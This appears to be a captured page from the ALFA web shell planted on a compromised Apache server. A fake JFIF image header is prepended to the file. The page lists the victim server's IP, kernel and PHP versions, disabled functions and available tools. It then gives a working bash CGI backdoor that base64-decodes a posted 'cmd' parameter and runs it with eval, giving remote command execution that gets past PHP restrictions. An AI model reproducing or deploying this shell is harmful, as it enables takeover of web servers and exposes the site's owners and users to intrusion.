���� JFIF ��
Server IP : 103.65.238.20 / Your IP : 10.0.0.10 Web Server : Apache System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : www ( 1000) PHP Version : 7.3.32 Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/jdih/frontend/web/file/FileDownload/ALFA_DATA/alfacgiapi/ |
Upload File : |
#!/bin/bash echo -e "Content-type: text/html\n\n" function cgi_get_POST_vars(){ [ "$REQUEST_METHOD" != "POST" ] && return [ ! -z "$QUERY_STRING_POST" ] && return [ -z "$CONTENT_LENGTH" ] && return read -N $CONTENT_LENGTH QUERY_STRING_POST return } function cgi_decodevar(){ [ $# -ne 1 ] && return local v t h t="${1//+/ }%%" while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" t="${t#*%}" if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} t="${t:2}" v="${v}"`echo -e \\\\x${h}` fi done echo "${v}" return } function cgi_getvars(){ [ $# -lt 2 ] && return local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" ;; POST) cgi_get_POST_vars [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&" ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" cgi_get_POST_vars [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&" ;; esac shift s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" k="${p%%=*}" v="${p#*=}" q="${q#$p&*}" [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \ export "$k"="`cgi_decodevar \"$v\"`" done return } cgi_getvars POST ALL query=$(echo $cmd | base64 --decode) echo $(echo $check | base64 --decode) echo -e "<pre>\c" eval ${query} echo -e "</pre>\c"